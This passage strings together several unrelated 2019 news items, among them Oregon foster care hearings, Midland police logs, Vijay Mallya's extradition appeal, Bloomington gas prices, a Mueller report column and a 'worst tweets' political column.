youth than anticipated. After the hearing, Gelser said she still was not convinced foster children should stay in juvenile detention complexes, even if they live in a wing that was never used as detention. It still looks like a jail, whether anybody (in custody on suspicion or convicted of a crime) slept there or not, Gelser said. Only two programs, in Multnomah County and Klamath County, actually house foster children in areas that were ever used or intended for juvenile detention, Jones said. Three foster children were at the Multnomah County juvenile program as of Thursday. Three other counties Douglas, Josephine and Lincoln care for foster youth in buildings that Jones said should not be described as refurbished detention pods. Jones said that contrary to the federal lawsuit, youth are never locked in their rooms. Pakseresht said he had just returned from a visit to Klamath Falls where he met with three county commissioners, who asked him to pass along a message to lawmakers that they were upset about how their countys Youth Inspiration Program had been portrayed in the media. One of the rooms in Klamath County's Youth Inspiration Program, a wing of the juvenile jail that was converted into a residential program for foster youth. Pakseresht said the county, which used to depend heavily on logging revenue and needs new sources of money, had opened the program to help the state foster care system as it faces a shortage of places to house children, and they asked you to please consider not throwing the baby out with the bathwater. Last year, Gov. Kate Brown proposed $12 million in state funding to expand the countys program. They classify this as completely unfair for a rural county thats trying to help the state, Pakseresht said. Jones said the state is giving Klamath County a chance to address issues identified by state licensing officials, which could result in foster children who have been involved in the juvenile justice system once again being sent to the program. Sara Fox, manager of the states child welfares treatment program, told lawmakers her agency is centralizing its process for referring foster children to these and other behavior rehabilitation services programs and expects to complete that work in the next month. Currently, caseworkers individually make the decision to refer children to these programs. Unfortunately, this results in at times inappropriate referral, Fox said. Fox also said the state will stop referring foster children who are not accused of committing crimes to programs that serve youth in correctional custody. After the hearing, Gelser said she was encouraged by the changes Fox outlined. I am seeing change that I do not believe would have happened if we had not been pushing, she said. Hillary Borrud | hborrud@oregonian.com | 503-294-4034 | @hborrud Visit subscription.oregonlive.com/newsletters to get Oregonian/OregonLive journalism delivered to your email inbox. Up to 34 districts in Michigan could face a redrawing of their congressional and legislative maps after a three-judge panel ruled they are unconstitutionally gerrymandered on Thursday. The suit was filed on behalf of the League of Women Voters of Michigan. Lisa Welch is Bay City Western High School's Saginaw Valley League Teacher of the Year Award winner and was recognized at an SVL banquet on April 24 at the Horizons Conference Center in Saginaw. Welch attended Michigan State University and Central Michigan University and was hired by Bay City Public Schools in 1994. She has been a vital part of the science and math departments at Western and brings invaluable knowledge and passion to both departments. Welch has two children who have attended Western High School. Her son, Brayden, has graduated and attends college, while her daughter, Josilyn, is a senior at Western. Welch believes in teaching the whole child. Her daily reflections with students focus on their lives, not just the classroom. She gets students to think about how they impact each other and the world around them. She empowers them with the belief that they can make a difference. Students in Welch's class know that she cares about them and she truly wants to know who they are. As one student put it, She sees the potential in her students and pushes them to be the best they can be. Another student said she makes me want to be a teacher just because of the way she is in the classroom, and She puts 100% effort in 100% of the time. Welch displays her passion for physics and math with her Phun Physics activities. She helps students apply physics to the world around them with relative activities and ends the year with the ultimate application by taking her students to Physics Day at Cedar Point in Ohio. Students spend the day measuring angles, velocities, and accelerations while experiencing the application of those measurements while riding the roller coasters. Welch applies the same energy and emotion to her relationships with fellow staff members that she does with the students. A teacher lucky enough to have a classroom near hers knows that they have a supportive, understanding, and caring person just down the hall that they can go to for anything. Welch has dedicated her career to making Bay City Western a better place. She has written several grants for programs to support the science department, including her current project of creating an outdoor classroom. She actively works to improve science and math curriculum through the summer. As an advisor for National Honor Society, Welch helps students coordinate blood drives, highway clean-ups, fundraisers, and other activities that benefit staff and students. Creative 360,1517 Bayliss St., will host a Yes We Can! Tuesday Tribute featuring Virginia Florey and Leona Seamster and their book "Midland: Her Continuing Story." The event, with conversation, tea and treats, is set for 2 to 2:30 p.m. Tuesday, April 30. Admission is $5. Midlanders Florey and Seamster shared their book "Midland: The Way We Were," during the 2018 Yes We Can! season. This year, they return to present "Midland: Her Continuing Story." They will share their fascinating research and slides on the history of Midland and its neighboring towns - Averill, Sanford, Coleman, Hope and Edenville. Retired Chief Justice Satish Kumar Agnihotri will head the probe committee to investigate the killing of late BJP MLA from Dantewada Bhima Mandavi, officials here informed on Thursday evening. Retired Chief Justice Satish Kumar Agnihotri has agreed to head the judicial commission formed for investigating the murder of MLA Bhima Mandavi, officials said. Notably, Mandavi, the lone BJP MLA from Dantewada, along with four others was killed while he was on way to a public meeting in Dantewada district on April 9, 2019. His convey was blown up by Maoists and fired upon at Shaymagiri in Dantewada district. Chief Minister Bhupesh Baghel had announced judicial inquiry into the incident. After spending 35 years behind bars for the death of his uncle, a Midland man could be released on parole within the next four years. Jerry Lashuay, 50, appeared in front of Judge Michael Beale in 42nd Circuit Court on Tuesday to argue for a reduction in his sentence, which was previously life in prison with no chance of parole. Lashuay, who was 15 years old at the time of the slaying, was originally given that sentence after being charged with the murder of his uncle, 12-year-old Nick Lashuay, in 1983. Beale re-sentenced Lashuay to a term of years of 40-60 years, which means he could be eligible for parole within four years. Representing the people in the case was Midland County Prosecuting Attorney J. Dee Brooks. Lashuay was represented by Ronald Bretz, a professor at Western Michigan University Thomas M. Cooley Law School who originally defended Lashuay in 1983. Bretz "came out of retirement" to defend Lashuay. "(This case) was very important to me on a personal level," Bretz said. "I was very happy to win, but I would have been even more crushed if I had lost." Bretz was working as an appellate public defender for the Michigan State Appellate Defender Office when the murder occurred. Mandatory sentences of life without the possibility of parole for juvenile offenders were ruled unconstitutional in the case of Miller v. Alabama, which went before the U.S. Supreme Court in 2012. Michigan's legislature and supreme court would adopt the change in law in 2018. During an initial hearing in February, Bretz called six witnesses, including a psychologist, a neurologist and a Michigan Department of Corrections specialist, to show both how much progress Lashuay has made while in prison, as well as how underdeveloped a 15-year-old's brain would be at that point in their life. "Most of us at the age of 15 don't kill people, but we do make incredibly stupid decisions," Bretz said. "All of us can look back at our 15-years-old selves and ask, "How come I decided to do that? What got me involved with this stupidity? Well, it's because you're 15 years old -- you're immature, and your brain isn't fully developed. Bretz argued to Beale that Lashuay has been "exemplary" in his pursuit of reforming and bettering himself. While serving in prison, Lashuay obtained his GED, associate's degree, a bachelor's degree and has been accepted into a graduate program at Calvin College. The following list includes recent reports from the Midland County Sheriff's Office and the Midland Police Department. Compiled by reporter Mitchell Kukulka. Wednesday, April 24 10:46 p.m. -- A 38-year-old man was arrested at his Lee Township residence on a felony warrant out of Saginaw County's Friend of the Court. He was lodged at the Midland County Jail. 9:50 p.m. -- A deputy responded to a car-deer crash in Midland Township. 9:40 p.m. -- A deputy responded to a car-deer crash in Warren Township. 9:22 p.m. -- Deputies were dispatched to a Porter Township residence for a property dispute. Deputies made contact with a 57-year-old woman who reported her neighbor digging up her yard with his tractor. Deputies made contact with the neighbor, a 49-year-old Porter Township man, who said he owned the property. Deputies determined this incident is civil and the court was involved in the matter. The woman was told to keep handling this matter with civil court. 7:58 p.m. -- Officers responded to an animal complaint in the 400 block of Hemlock Street. 6:42 p.m. -- Officers responded to a property damage accident in the 5300 block of Swede Avenue. 4:43 p.m. -- Officers responded to a property damage accident in the area of Waldo Avenue and James Savage Road. 4:23 p.m. -- Officers responded to a domestic verbal situation in the 6100 block of Jefferson Avenue. 3:05 p.m. -- Deputies responded to a Homer Township residence for a well-being check on an 18-year-old woman. A friend of the woman called to report her friend was going through a breakup and received a message that her 20-year-old boyfriend was not allowing her to leave. Deputies spoke with the woman and her boyfriend at the residence. The woman said she was fine and her friend had misinterpreted what she meant. She said she was breaking up with her boyfriend and had been arguing, but there was no assault. She then left with her friend. The deputies spoke with the boyfriend regarding the incident and advised him to ensure he does not act in a way that appeared hostile or intimidating during verbal arguments. 1:26 p.m. -- Officers responded to a crash on private property in the 900 block of Joe Mann Boulevard. 9:52 a.m. -- Deputies responded to a Jerome Township residence to speak with a 44-year-old man, who reported someone knocked on his kitchen door from inside his garage. Deputies searched the area and advised him to lock his doors. 12:36 a.m. -- A deputy was dispatched to Edenville Township in reference to a traffic hazard caused by subjects walking in the roadway pushing a grocery store cart. The deputy located the subjects and discovered one of them, a 29-year-old man, had an arrest warrant out of Midland County. He was arrested and lodged at the Midland County Jail. The woman who he was with was given a ride to a women's shelter in Midland. 1:23 a.m. -- Deputies were dispatched to a residence in Lincoln Township in reference to a suicidal man. Deputies made contact with a 51-year-old man who admitted to having psychological issues. Deputies verified an active fugitive warrant out for the man out of Midland County and transported him to the Midland County Jail without incident. 12:18 a.m. -- Officers responded to a car-deer crash in the area of Waldo Avenue. Tuesday, April 23 10:25 p.m. -- Deputies were dispatched to a Geneva Township residence in reference to a possible unlawful entry complaint. Deputies and emergency service teams made contact with the complainants and a 51-year-old Geneva Township woman, who was having an unknown medical/psychotic episode. The complainants weren't interested in pursuing any type of criminal charges against their confused neighbor. Deputies attempted to contact someone else at the 51-year-old's residence, but determined she lived alone. She was transported to the MidMichigan Medical Center emergency room for further treatment. 9:52 p.m. -- Deputies responded to a car-deer crash in Mills Township. 6:38 p.m. -- A deputy discovered a disabled vehicle at the corner of Jerome Street and Buttles Street -- it was believed to have run out of gas. The deputy and the driver pushed the vehicle in to the BP gas station parking lot. The driver put gas in the vehicle and was on his way. 3:33 p.m. -- A deputy responded to a Coleman residence for a report of possible harassment that occurred at a school in Warren Township. A 36-year-old Coleman woman reported a 33-year-old woman swerved her car toward her car as the 36-year-old was pulling into the school parking lot, as a way to harass or intimidate her. The 36-year-old stated she had issues with the 33-year-old in the past and wanted this situation addressed by law enforcement since the 36-year-old also had her 14-year-old daughter in her vehicle. The deputy spoke with the 33-year-old regarding the incident at the school. She said she did not intentionally swerve toward the other woman's car and did not intend to cause any issues. The deputy advised her to ensure she uses care and caution when driving near the school while dropping-off and picking up her children. 1:27 p.m. -- Officers performed a death investigation in the 3700 block of Saturn Drive. 10:17 a.m. -- A deputy spoke with a 20-year-old Mount Pleasant woman, while she was staying at her parent's Lincoln Township residence, regarding harassing messages she received from her ex-boyfriend. She reported getting several Facebook messages from the 23-year-old Mount Pleasant man overnight. She reported having numerous other incidents with her ex-boyfriend, which she previously reported to the Michigan State Police. She was not able to provide contact information for the man. The deputy advised the female to obtain a Personal Protection Order from the court in Isabella County, due to her permanent residence there. 8:40 a.m. -- Deputies responded to a tow-vehicle crash in Lincoln Township. 7:47 a.m. -- Deputies responded to a car-deer crash in Lee Township. 7:29 a.m. -- Deputies responded to a car-deer crash in Warren Township. 1:36 a.m. -- Officers performed a death investigation in the 700 block of Village East Drive. Monday, April 22 11:21 p.m. -- Deputies were dispatched to a residence in Lee Township to assist emergency teams with an intoxicated man. Deputies made contact with a 57-year-old Lee man who fell and hit his head. He refused to go to the hospital. 10:05 p.m. -- Officers performed a liquor investigation in the 6700 block of Eastman Avenue. 8:58 p.m. -- A deputy was dispatched to the area of North Hope Road at the US-10 overpass in Lincoln Township in reference to a male subject sitting on the overpass railing. The deputy made contact with the 26-year-old man who said that he lived just down the road and was out for a walk after work. He stated that he stopped on the railing to use his cell phone. The subject returned to his home after speaking with the deputy. 7:18 p.m. -- Deputies responded to an Edenville Township residence for a report of an assault between a 41-year-old woman and her husband. Contact was made with all parties at the scene, including witnesses. The couple advised that they are in the process of a divorce and are having a difficult time getting along. Both the man and woman had very minor reported injuries and refused medical attention at the scene. The woman was arrested for domestic assault and transported to the Midland County Jail. A report will be forwarded to the Midland County Prosecuting Attorney's Office for review. 6:43 p.m. -- Officers responded to an animal complaint in the 700 block of Village East Drive. 2:06 p.m. -- Officers performed a warrant arrest in the 300 block of West Indian Street. 10:40 a.m. -- Officers responded to a retail fraud in the 6800 block of Eastman Avenue. 8:06 a.m. -- Officers responded to a hit-and-run crash in the area of Washington Street and Lyon Road. 4:56 a.m. -- Deputies were dispatched to a Lee Township residence for a report of a possible domestic altercation. Following investigation into the incident, a 31-year-old man was arrested for domestic violence-strangulation. He was transported to the Midland County Jail where he was booked in and lodged. The victim, a 29-year-old woman, sustained minor injuries and was evaluated by EMS on scene. The report will be forwarded to the Prosecutor's Office for review. Centre for the Study of Developing Societies (CSDS) has published Status of Policing in India Report-2018 in which Uttarakhand police has been ranked first in disposal of cases by police and courts, and favourability towards women in the police force. In this report police forces of 24 states have been ranked on the basis of 13 points and among the 24 states Uttarakhand Police have been placed in the top 10 States in overall performance. Director General (DG) Law and Order Ashok Kumar said, We are happy that we are being seen as people friendly police and women officers also are accepted here equally. We are proud that Uttarakhand Police is number one in these two aspects. The areas where we are lacking, we will be working on them. As per the report, Uttarakhand Police have been ranked first in disposal of cases by police and courts. Chhattisgarh and Uttar Pradesh are on second and third positions respectively. The second aspect in which Uttarakhand got the first rank is favourability towards women in police force. Haryana and Maharashtra are on second and third positions respectively. Uttarakhand police have also been given second position for being citizen friendly. Himachal Pradesh and Haryana are on first and third positions respectively, while Punjab has been ranked least citizen friendly among the 24 States. In the category of violent attitude towards criminals, Uttarakhand Police has been ranked on fifth position (descending order). Himachal Pradesh, Odisha and West Bengal are on first, second and third positions respectively. The category in which states were ranked from least crime rates to maximum crime rates, Uttarakhand is on fifth position (descending order). Punjab, Himachal Pradesh, and Jharkhand are on first, second and third positions respectively. Uttarakhand has been ranked third on the state wise ranking of responses about satisfaction with Police help after having been contacted. Jharkhand and Kerala are on first and second positions respectively. Tripoli, Libya (PANA) - European Union member- countries accredited to Libya Thursday renewed their call to all Libyan parties for a ceasefire and the resumption of the political process to end the transition in Libya, official sources said here Embattled liquor tycoon Vijay Mallya has been allocated July 2 as the date for a brief hearing to convince a High Court judge that he should be given permission to proceed to a full-blown appeal process against his extradition to India to face alleged fraud and money laundering charges amounting to Rs 9,000 crores. The 63-year-old former Kingfisher Airlines boss had filed the "renewal application" earlier this month after he failed in his first written attempt seeking leave to appeal in the High Court. The renewal involves a short oral hearing before a High Court judge, now scheduled for July 2, where his lawyers will further plead his case against being extradited to India. "A date for the oral consideration has been set for July 2," a UK court official said on Friday. UK home secretary Sajid Javid had signed off on a Westminster Magistrates' Court order for Mallya to be extradited to face the Indian courts back in February. Mallya then filed an application for permission to appeal against that decision in the High Court, which was refused by Justice William Davis, giving him a week to apply for oral consideration via a renewal application. "Once a renewal application is made, it will be listed before a High Court judge and dealt with at a hearing," said a UK Judiciary spokesperson. On July 2, Mallya's legal team and the Crown Prosecution Service (CPS) arguing on behalf of the Indian government will go head to head to reiterate factors for and against the businessman's extradition to Arthur Road Jail in Mumbai. A High Court judge must now decide following the oral consideration if Mallya's appeal can proceed to a full hearing. It will mark one of the final stages of the appeals process in the UK as the chances of permission to appeal to the Supreme Court are unlikely if permission to appeal is denied at the High Court stage. Mallya would have the option to approach the European Court of Human Rights (ECHR) based in Strasbourg, France, to argue against his extradition to India on human rights grounds by trying to prove a real threat of harm or torture. Meanwhile, the businessman remains on bail on an extradition warrant executed by Scotland Yard in April 2017. At the end of a year-long extradition trial at Westminster Magistrates' Court in London last December, Judge Emma Arbuthnot had ruled that the flashy billionaire had a case to answer in the Indian courts. The court had also dismissed any bars to extradition on the grounds of the prison conditions under which the businessman would be held, as the judge accepted the Indian government's assurances that he would receive all necessary medical care at Barrack 12 in Mumbai's Arthur Road Jail. Tripoli, Libya (PANA) - Three weeks after the offensive by the Libyan National Army to take control of Tripoli, the fighting against troops of the internationally recognised Government of National Accord continues in the capital outskirts BLOOMINGTON The campaign for a new, larger Bloomington-Normal YMCA building to include Easterseals Central Illinois on the OSF HealthCare St. Joseph Medical Center campus has raised $13.6 million as the campaign enters its public phase. "I'm incredibly humbled and excited for the future of our community," YMCA Executive Director B.J. Wilken told The Pantagraph on Thursday. He called the proposed collaboration of the YMCA, Easterseals and St. Joseph "a unique opportunity" among organizations that serve "a wide array of our citizens." "We are really thrilled with the response," said Cathy Oloffson, Easterseals vice president of development for McLean County. Fundraising began a year ago and $13,642,809 has been pledged by 130 donors, Wilken said. Many of those have been major gifts. "We're now moving into the community-giving phase of the campaign," when gifts of all amounts will be welcomed, he said. Plans call for a 70,000-square-foot building on the St. Joseph campus, 2200 E. Washington St., Bloomington, east of the under-construction OSF medical office building. The YMCA wants to move from 602 S. Main St., Bloomington, saying it has outgrown that landlocked building. "The hospital is excited to get to this point," said St. Joseph President Lynn Fulton. "We are anxious to get the Y on our campus so we can begin to collaborate." Wilken doesn't want construction to begin until the $16 million campaign goal is met. He anticipates breaking ground early next year and hopes the new building opens by summer 2021. The campaign's public phase will kick off with a concert featuring Fiona Way, a band of State Farm executives, at 6:30 p.m. May 3 at the Castle Theater in Bloomington. Tickets are $50 and are on sale at www.eventleaf.com/growingtogether. People may donate to the campaign at www.bnymca.org/daxco/reaching-our-potential/. Contact Paul Swiech at (309) 820-3275. Follow him on Twitter: @pg_swiech Love 1 Funny 1 Wow 0 Sad 0 Angry 0 Build your health & fitness knowledge Sign up here to get the latest health & fitness updates in your inbox every week! Sign up! * I understand and agree that registration on or use of this site constitutes agreement to its user agreement and privacy policy. BLOOMINGTON Gas prices are inching closer to $3 a gallon, which is not a surprise to industry analysts or to some Twin City customers. Remember that time it was around $1.80 per gallon? asked Nicole Mullins of Bloomington, as she filled her tank Thursday morning with gas priced at $2.85 per gallon at Huck's, 2401 S. Main St., Bloomington. I was willing to drive around a little bit more in those days. Now, not so much. A survey of gas stations around Bloomington-Normal indicated gasoline was selling between $2.83 and $2.97 per gallon on Thursday. According to Gasbuddy.com, the average McLean County price on Thursday was $2.92 per gallon. The average price in Decatur was $2.87, and in Mattoon, it was $2.75, reported Gasbuddy.com. Patrick DeHaan, head of petroleum analysis for the website, said Illinois gas prices have risen about 5 cents a gallon in the last week, averaging about $2.90 throughout the state. That figure is about 23 cents a gallon higher than a month ago, and 17.5 cents per gallon more than a year ago. Illinois prices are among the highest in the country right now, but California is the leader at $4.03 per gallon, according to AAA. The seemingly never-ending streak of rising gasoline prices has largely continued unabated across the country over the last week, said DeHaan. Gas prices continue to drift higher, although the pace has slowed somewhat in the last week. Statewide over the past five years, prices have remained above $2 per gallon, but below $3 per gallon at this point in the year. A year ago, the average price in Illinois was $2.73 per gallon. In 2017, it was $2.50 per gallon; in 2016, it was $2.21 per gallon; and $2.57 in 2015. Prior to that, gasoline prices were even higher in late April, averaging between $3.01 (2010) and reaching a high of $4.08 per gallon in 2011. The slow rise in prices is natural in the spring, as refineries move to spring- and summer-grade blends. However, in Bloomington, prices are expected to inch up next week when an increase in the local motor fuel tax jumps from 4 cents to 8 cents. The hike, approved March 25 by the Bloomington City Council, goes into effect Wednesday. The Normal City Council has discussed, but not acted, on a similar proposal. I am coming back Tuesday for a fill-up then, said Barb Courson of Bloomington, while also at at Huck's on Thursday. I almost forgot about that, but thats just going to drive the prices up even further. Bob Hildebrandt of Bloomington predicts the 4-cent jump will not necessarily mean a 4-cent jump. Ive never seen them increase gas by just 4 cents, he said. They will probably hike it much more than that and you wont find it any cheaper in Normal, either. Several owners and managers at Bloomington stations declined comment or referred questions to corporate headquarters on the upcoming potential for increases in relation to the tax hike. The 4-cent increase is expected to generate an additional $2.3 million annually for city street repairs, said Bloomington officials. Contact Kevin Barlow at (309) 820-3238. Follow him on Twitter: @pg_barlow Love 2 Funny 0 Wow 1 Sad 2 Angry 22 Get local news delivered to your inbox! Subscribe to our Daily Headlines newsletter. Sign up! * I understand and agree that registration on or use of this site constitutes agreement to its user agreement and privacy policy. CHICAGO A man with a concealed-carry permit told police he shot and killed another man who ran into the back of his BMW in Chicago's Loop and then demanded the keys to the car at gunpoint early Friday, authorities said. The owner of the 2015 BMW said his car was rear-ended by a Volkswagen at Ida B. Wells Drive and State Street about 4:30 a.m. The man said he got out to look at the damage and then went back to the BMW to get his cellphone. The driver of the Volkswagen walked up with a gun and demanded the keys, pushing the other man into the BMW, police said. Both were inside the BMW when the owner grabbed his own gun and shot the other man, 22, in the head. The driver of the BMW, 41, was being questioned by detectives at the Area Central police station. Police said he had a license to carry a gun. The Congress Parkway was renamed Ida B. Wells Drive in February to honor Wells, a pioneering journalist. Love 0 Funny 0 Wow 0 Sad 1 Angry 0 An internal investigation into alleged sexual misconduct by a supervisor at a prominent anti-violence organization run by the University of Illinois at Chicago has found no wrongdoing, according to a report provided to the Tribune. But an attorney for the woman who made the allegation blasted the investigation, calling it a "complete whitewash of what happened." Angalia Bianca has said that Ricardo "Cobe" Williams, deputy director of Cure Violence, demanded oral sex from her while she worked as a database coordinator. She has filed a complaint with UIC's School of Public Health, which runs the organization, as well as a federal lawsuit that remains pending. In both complaints, she accused Williams of asking her to come into his office, shutting the door and demanding oral sex three times in 2014. The lawsuit, filed in October, names Williams, UIC and Gary Slutkin, the head of Cure Violence. Bianca, along with two former employees of the organization who are not named in the complaint, made the allegations during an emotional news conference. The other two women, Lakisha McGowan and Ameena Matthews, are not listed as plaintiffs but are mentioned by name in the suit. Both are former violence interrupters, and Matthews starred in an award-winning documentary about the organization. Separate from the lawsuit, the university's Office for Access and Equity investigated Bianca's internal complaint. In a nine-page letter provided to the Tribune by Williams' attorneys, the Title IX coordinator for UIC wrote that his investigation found Williams did not violate the university's sexual misconduct policy. Michael Diaz wrote that he found Bianca's credibility to be "suspect for many reasons," while Williams' "credibility is strong." He stated that witnesses gave statements inconsistent with Bianca's report and that the investigation did not find any corroboration of her account. University investigators spoke with two witnesses who Bianca said she had confided in about the request for oral sex, the letter said. Both witnesses told investigators that Bianca did tell them Williams requested oral sex from her, according to the letter. But the letter said the witness accounts diverged from Bianca's recollections on "how many times" Williams requested oral sex. The letter also cites six people who told investigators they believe Bianca is lying and that the allegations are inconsistent with Williams' "character and reputation." "(Williams), on the other hand, provided consistent descriptions of all facts at issue," the letter stated. The letter noted that Bianca described her deceitful past in her book, "In Deep: How I Survived Gangs, Heroin and Prison to Become a Chicago Violence Interrupter." Investigators also spoke with people who reported "they heard in the community that Cure Violence serves" that Bianca had contacted other female employees and encouraged them to file sexual harassment complaints. The letter recommended that Bianca and Williams avoid contact with each other at work. A spokeswoman for UIC said both of them remain employed with the university, but she declined to comment further on personnel matters or pending litigation. Ed Mullen, who is representing Bianca in the federal suit, said investigators did not interview people who could speak to similar behavior by Williams. He also criticized investigators for trying to use Bianca's book against her. The lawsuit mentions an unnamed woman who it says also filed a written complaint with the Office for Access and Equity in December 2013 alleging sexual misconduct by Williams. The office also found no evidence of wrongdoing in that case. Love 0 Funny 0 Wow 0 Sad 0 Angry 1 The end of the investigation led by Special Counsel Robert Mueller, and the release of the redacted version of his report, mean that President Trump is far from totally exonerated and that the action moves to Congress. But the conclusion of the inquiry leaves a series of difficult choices for both House Democrats and Senate Republicans, including whether to impeach and remove the president. For starters, Mueller seems to have moved rapidly to end his part of the investigation without really exhausting the topic. There is, for example, quite a bit of redaction in the report based on Harm to Ongoing Matter that is, continuing prosecutions. Most of that seems to be centered on the Russia material. These redactions, and those prosecutions, give the report the flavor of an interim document. In addition, theres the discussion about the Mueller teams decision not to force the issue when it came to interviewing President Donald Trump. Mueller considered Trumps written answers inadequate, and believed he could successfully compel an interview. He ended up with the conclusion that taking the time to do so wasnt worth the delay. Its not clear why Mueller was in a hurry but it's quite possible he believed it was important to get out as much material as possible well before the run-up to the 2020 general election campaign season. Either way, theres plenty remaining for Congress to do. On the Russia side of the story, the facts seem to fall well short of some of the worst fears about an active, deliberate conspiracy between Team Trump and Team Putin. But thats not to say no one did anything wrong. Mueller, after all, did not say no collusion. The previous, Republican-majority Congress held hearings on some of these issues, but theres a real need now for a series of well-orchestrated inquiries to produce a clear record of all the contacts between the Trump campaign and Russia that Mueller documents. And while theyre at it, they should clearly illustrate Russias campaign to influence the U.S. elections, a now-established fact the president still shies away from accepting publicly. Its on obstruction of justice, however, that Democrats have the biggest challenges. Mueller did not bring charges against Trump but he fills in even more devastating details about the presidents contempt for the rule of law, shown by a series of actions designed to impede legitimate investigations. That may or may not constitute criminal obstruction of justice, but the behavior clearly is obstruction of justice under the Constitution when its done by the president. What Mueller says Trump did is at least comparable to what was alleged in the Obstruction of Justice article of impeachment that the House Judiciary Committee approved against President Richard Nixon in 1974, and that the full House and the Senate were certain to approve before Nixon resigned. Its far more serious than the obstruction allegations against President Bill Clinton in 1998, which the House approved. That includes, by the way, certain types of false statements to the public from the president something that was included in the charges against Nixon in 1974. The problem for House Democrats is that unless theres a sudden shift in public opinion, and perhaps even if there is, it seems very unlikely that impeachment over obstruction of justice based on the Mueller evidence would produce conviction, and therefore removal of the president, in the Senate. Its also still possible that many voters who havent paid much attention so far would do so if congressional hearings proved sufficiently riveting, and that public opinion therefore would be more subject to change than its seemed so far. Its also possible that at some point, Republican politicians might conclude that they would rather take on the risks of dumping Trump and having Mike Pence as president than continuing to support someone who many of them no doubt see as unfit for office. Either way, the next step is up the House. Bernstein is a Bloomberg Opinion columnist. Love 2 Funny 0 Wow 0 Sad 0 Angry 0 Netflix has released the trailer for Adam Sandler and Jennifer Anistons forthcoming action-comedy Murder Mystery. The film follows Sandler and Aniston as an exhausted married couple who, fortunately for their stalled love, become prime suspects of a murder while vacationing in Italy. The official synopsis of the first from Sandlers binding four-film Netflix deal reads: When an NYC cop (Sandler) finally takes his wife (Aniston) on a long promised European trip, a chance meeting on the flight gets them invited to an intimate family gathering on the Super Yacht of elderly billionaire Malcolm Quince. When Quince is murdered, they become the prime suspects in a modern day whodunit. Alongside the summer-blockbusting duo, who previously starred together in 2011s Just Go With It, Murder Mystery also features Luke Evans, Gemma Arterton, Luis Gerardo Mendez and Terence Stamp. The Netflix original was directed by Kyle Newacheck (Workaholics) from a screenplay by The Amazing Spider-Man writer James Vanderbilt. See what Netflix made them do in the trailer below ahead of Murder Mysterys release on June 14. Twitter is a cesspool of bad tweets, bad information and Nazis. Its also the greatest breaking news service in the history of mankind. Despite our constant complaints about how Jack Dorseys product is garbage designed to inflame the worst people among us, we all know that we will never leave this hellsite. If you are lucky enough to not have a Twitter account, keep it that way. The breaking news is not worth breaking your brain, and you can count on us here at Paste to recap the worst political tweets for you each weeksince our brains are irrevocably impairedso we might as well use our powers for good. Here are the five worst tweets of the past week. Technically this bad tweet was sent last week, but since it was posted after last weeks bad Mueller Report tweets column went up, it qualifies for this weeks installment. Plus, unlike most of the bad tweets here, this is actually enlightening and newsworthyand not just something that were pointing and laughing at. If youre ever wondering why the New York Times politics section is so overwhelmingly inadequate, this is the kind of thinking that permeates that section. Elizabeth Warren spends her days explaining detailed policy platform after detailed policy platform, but because she read the constitution and understands Robert Muellers request to consider impeachment, that is all that Trip here thinks is going to define her candidacy in 2020. Most 2020 Dems are shifting the focus off Trump to talk about health care, wage inequality, etc. If Warren is the nominee, the race will be a referendum on impeachment. https://t.co/gmxBAxtnJY Trip Gabriel (@tripgabriel) April 19, 2019 Mainstream media is mostly one big exercise in projection. Many reporters clearly don't care about the details of policy (which is, you know, the entire point of politics), so even though Warren has spent 99.9999999% of her time explaining in detail how she plans to fix this country, the moment the word impeachment came out of her mouth, some major media members finally started paying attention to her campaign (this shot does not include the terrific Astead W. Herndon at the NYT, who has covered Warren's campaign as well as any reporter out there). This one is a bad tweet that became a good tweet thanks to the efforts of liberal and leftist Twitter. Of course felons (and prisoners) should have the right to vote, otherwise, you are basically saying they are not citizens, and then you must explain what other kinds of democracy incarcerated people cannot enjoy. Fox Business's Lou Dobbs created a Twitter poll that was supposed to reinforce his bankrupt narrative, but reality had other plans for him. #LDTPoll: Do you think felons should have the right to vote? #MAGA#Dobbs Lou Dobbs (@LouDobbs) April 23, 2019 These folks rose to prominence during CNN's town hall this past week, and they gained Twitter fame by having one of their members ask Bernie the standard mindless question of but Venezuela! when it comes to his Democratic Socialist beliefs (Venezuela it should be noted, is a socialist country being ruled by emergency decree for most of this centurymeaning that they have functionally been a dictatorship for most of the 21st century). After having a Very Serious tweet ratioed to high heaven, the Harvard Centrists got even more Very Serious and (correctly) pointed out that Twitter cannot handle civil discourse. We deleted our former tweet because it was demonstrated once again that Twitter cannot handle civil discourse and instead resorts to demeaning personal attacks Harvard Undergraduate Centrist Society (@HarvardCentrist) April 23, 2019 Welcome to Twitter, Harvard centrists. It's a madhouse not for the faint of heart, and if this is how you are going to passive aggressively treat your experience on this hellsite, you will get eaten alive. I feel bad for whatever low-level staffer for the 2nd most powerful Republican in the Senate had to go through comedian Patton Oswalt's tweets and search for swear words, then censor them. This is peak Boomer Brain. Hollywood Hegar supporter and video guest star, Patton Oswalt, has tweeted some offensive comments over the years, reply A or B to let us know which one is more offensive to you: pic.twitter.com/gXgPvstK6V Team Cornyn (@TeamCornyn) April 23, 2019 But wait there's more! Another reminder that Hollywood Hegar embraces this celebrity: pic.twitter.com/wHgyVNeLUO Team Cornyn (@TeamCornyn) April 23, 2019 The goal of these columns is to highlight high-profile tweeters, as punching down is something that should be avoided at all costs. Plus, if we expanded the bad tweets pool to all of Twitter, this column would be at minimum, 10,000 words every week. However, I am making an exception in this case because this exchange is absolutely jaw-dropping, and is a perfect example of how some white liberals love to project their anger on to non-white people when attacking Bernie Sanders (who it should be noted, is trailing only Joe Biden in support amongst black Democrats, who these same white liberals always *clap* talk *clap* about *clap* supporting *clap*). This is just*kisses fingers* The backstory to this is that Peter and Leela Daou were two of Hillary Clinton's most passionate supporters in 2016, and like most of us who genuinely want to improve upon the liberal failures of 2016, they have reconsidered their politics in the Age of Trump. Peter wrote a column this week explaining why we cannot tear down Bernie in 2020, and as you can see above, the Hillarystans who refuse to change anything from 2016 are not taking the Daou's evolution well. This was just too bad to leave out of the column. This image is part of a larger set of images that spell out Joe Biden, but, uh, this still looksnot good for a man who once said of then candidate Obama, I mean, you got the first mainstream African-American who is articulate and bright and clean and a nice-looking guy. Jacob Weindling is a staff writer for Paste politics. Follow him on Twitter at @Jakeweindling. Speaking at a National Rifle Association convention in Indianapolis on Friday, Donald Trump announced that he is withdrawing U.S. support for the United Nations Arms Trade Treaty, the purpose of which is to regulate the $70 billion international arms trade. The NRA has opposed the treaty, originally signed by Barack Obama back in 2013, for quite some time despite the fact that its aim is to keep conventional arms from falling in the hands of bad actors, including terrorists and human traffickers. To the NRA, though, the treaty apparently steps on national sovereignty, because this is 2019 and clearly that is the biggest problem facing our well-established state. After all, this is a group of people 